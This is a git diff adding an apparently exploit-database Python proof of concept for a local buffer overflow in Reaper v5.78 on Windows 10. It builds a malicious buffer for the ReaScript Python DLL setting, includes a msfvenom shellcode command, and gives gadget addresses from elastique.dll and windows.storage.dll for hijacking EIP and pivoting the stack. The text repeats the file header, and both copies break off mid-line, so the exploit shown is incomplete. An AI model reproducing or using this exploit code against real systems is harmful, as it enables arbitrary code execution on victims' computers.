diff --git a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v1.py b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v1.py new file mode 100644 index 0000000..9de81ec --- /dev/null +++ b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v1.py @@ -0,0 +1,72 @@ +""" +Full title: Reaper v.5.78 Local Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: https://www.reaper.fm/ +Version: Reaper v.5.78 +Tested on: Windows 10 x64 Pro v.10.0.18363 Build 18363 +Category: local exploits +Platform: windows +Usage: Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "reaper_5.78_exploit.txt" +""" +#!/usr/bin/python +import struct + +poc=open("reaper_5.78_exploit.txt", "w") + +total_size=2000 +# | (465) | +# | garbage (37) | shellcode (max 465-37=428) | EIP (4) | filler (2000-469=1531) | +offset=465 +buff = "" +buff += "A"*37 # garbage +buff += "BBBB" # alignment +# shellcode +# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest +# unfortuntely is between 448-440 bytes long +# alternatively we can create our buffer with the following structure: 0x0019741c : Pointer into normal cyclic pattern at ESP-0x4264 (-16996) : 0x00197530 : offset 1036, length 760 + +# | garbage (37) | ESP-0x4264; JMP ESP () | filler () | EIP (4) | filler () | shellcode () | filler () | +buff += "" +# ------ shellcode ------ +buff += "B"*(offset-len(buff)) # filler +# must chose a pointer withouth bad chars and in the good-chars range +# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll) +buff += struct.pack(" Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "reaper_5.78_exploit.txt" +""" +#!/usr/bin/python +import struct + +poc=open("reaper_5.78_exploit.txt", "w") + +total_size=2000 +# | (1036) | +# | (465) | +# | garbage (37) | ESP-0x4264 (12); JMP ESP (4) | filler () | EIP (4) | filler () | shellcode () | filler () | +offset_eip=465 +offset_shellcode=1036 +buf = "" +buf += "A"*37 # garbage +# sub esp, 0x4264 -> \x81\xec\x64\x42\x00\x00 has nullbytes +# sub esp, -0x4264 -> \x81\xec\x9c\xbd\xff\xff has characters that will be translated +# 0x76446c2c (b+0x00006c2c) : 0x2132 | asciiprint,ascii {PAGE_EXECUTE_READ} [windows.storage.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v10.0.18362.1 (C:\Windows\System32\windows.storage.dll) +# sub esp, [0x76446c2c] -> \x2b\x25\x2c\x6c\x44\x76 +# 0x0642355a : 0x4264 | ascii {PAGE_READWRITE} +# sub esp, [0x0642355a] -> \x2b\x25\x5a\x35\x42\x06 +buf += "\x2b\x25\x5a\x35\x42\x06" # ESP - 0x4264 +# 0x10042e5a : push esp # ret | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll) +buf += struct.pack("